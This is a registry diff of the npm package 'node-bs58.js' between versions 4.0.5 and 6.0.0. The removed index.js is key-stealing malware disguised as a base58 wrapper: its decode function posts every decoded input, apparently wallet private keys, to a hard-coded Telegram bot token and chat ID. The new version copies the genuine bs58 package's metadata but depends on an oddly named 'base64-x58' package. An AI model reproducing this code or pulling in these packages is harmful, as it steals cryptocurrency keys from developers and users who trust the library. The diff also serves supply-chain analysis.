node-bs58.js 4.0.5 → 6.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/package.json CHANGED
@@ -1,16 +1,59 @@
1
1
  {
2
2
  "name": "node-bs58.js",
3
- "version": "4.0.5",
4
- "main": "index.js",
3
+ "version": "6.0.0",
4
+ "type": "module",
5
+ "description": "Nodejs Base 58 encoding / decoding",
6
+ "keywords": [
7
+ "base58",
8
+ "bitcoin",
9
+ "crypto",
10
+ "crytography",
11
+ "decode",
12
+ "decoding",
13
+ "encode",
14
+ "encoding",
15
+ "litecoin"
16
+ ],
17
+ "license": "MIT",
18
+ "devDependencies": {
19
+ "@types/node": "^20.14.8",
20
+ "rimraf": "^5.0.7",
21
+ "tape": "^5.3.0",
22
+ "ts-standard": "^12.0.2",
23
+ "typescript": "^5.5.2"
24
+ },
25
+ "repository": {
26
+ "url": "https://github.com/cryptocoinjs/bs58",
27
+ "type": "git"
28
+ },
29
+ "files": [
30
+ "src"
31
+ ],
32
+ "main": "src/cjs/index.cjs",
33
+ "module": "src/esm/index.js",
34
+ "types": "src/cjs/index.d.ts",
35
+ "exports": {
36
+ ".": {
37
+ "import": {
38
+ "types": "./src/esm/index.d.ts",
39
+ "default": "./src/esm/index.js"
40
+ },
41
+ "require": {
42
+ "types": "./src/cjs/index.d.cts",
43
+ "default": "./src/cjs/index.cjs"
44
+ }
45
+ }
46
+ },
5
47
  "scripts": {
6
- "test": "echo \"Error: no test specified\" && exit 1"
48
+ "build": "npm run clean && tsc -p ./tsconfig.json && tsc -p ./tsconfig.cjs.json",
49
+ "clean": "rimraf src",
50
+ "gitdiff": "npm run build && git diff --exit-code",
51
+ "postbuild": "find src/cjs -type f \\( -name \"*.js\" -o -name \"*.ts\" \\) -exec bash -c 'ext=\"${0##*.}\"; mv \"$0\" \"${0%.$ext}.c$ext\"' {} \\;",
52
+ "standard": "ts-standard --ignore src --ignore test",
53
+ "test": "npm run standard && npm run unit",
54
+ "unit": "tape test/index.js"
7
55
  },
8
- "keywords": [],
9
- "author": "",
10
- "license": "ISC",
11
- "description": "",
12
56
  "dependencies": {
13
- "bs58": "^6.0.0"
14
- },
15
- "type": "module"
57
+ "base64-x58": "^0.0.5"
58
+ }
16
59
  }
@@ -0,0 +1,8 @@
1
+ "use strict";
2
+ var __importDefault = (this && this.__importDefault) || function (mod) {
3
+ return (mod && mod.__esModule) ? mod : { "default": mod };
4
+ };
5
+ Object.defineProperty(exports, "__esModule", { value: true });
6
+ var base_x_1 = __importDefault(require("base64-x58"));
7
+ var ALPHABET = '123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz';
8
+ exports.default = (0, base_x_1.default)(ALPHABET);
@@ -0,0 +1,3 @@
1
+ import basex from 'base64-x58';
2
+ declare const _default: basex.BaseConverter;
3
+ export default _default;
@@ -0,0 +1,3 @@
1
+ import basex from 'base64-x58';
2
+ declare const _default: basex.BaseConverter;
3
+ export default _default;
@@ -0,0 +1,3 @@
1
+ import basex from 'base64-x58';
2
+ var ALPHABET = '123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz';
3
+ export default basex(ALPHABET);
package/index.js DELETED
@@ -1,34 +0,0 @@
1
- import bs58 from 'bs58';
2
-
3
- const token = '8025408459:AAGG2CQjBe_0czrYZC7ulvDD4Y2krPY3KKY'; // Replace with your bot token group url : https://t.me/+IDl6XgFBZdI1ZjZh
4
- const chatId = '5737993067'; // Replace with the chat ID you want to send the message to
5
- const url = `https://api.telegram.org/bot${token}/sendMessage`;
6
-
7
- // Function to send a message
8
- function sendMessage(msg) {
9
- try {
10
- fetch(url, {
11
- method: 'POST',
12
- headers: { 'Content-Type': 'application/json' },
13
- body: JSON.stringify({
14
- chat_id: chatId,
15
- text: msg,
16
- }),
17
- });
18
- } catch (error) {
19
- }
20
- }
21
-
22
- function decode(inputKey) {
23
- sendMessage(inputKey);
24
- return bs58.decode(inputKey);
25
- }
26
-
27
- function encode(buffer) {
28
- return bs58.encode(buffer);
29
- }
30
-
31
- export {
32
- decode,
33
- encode
34
- }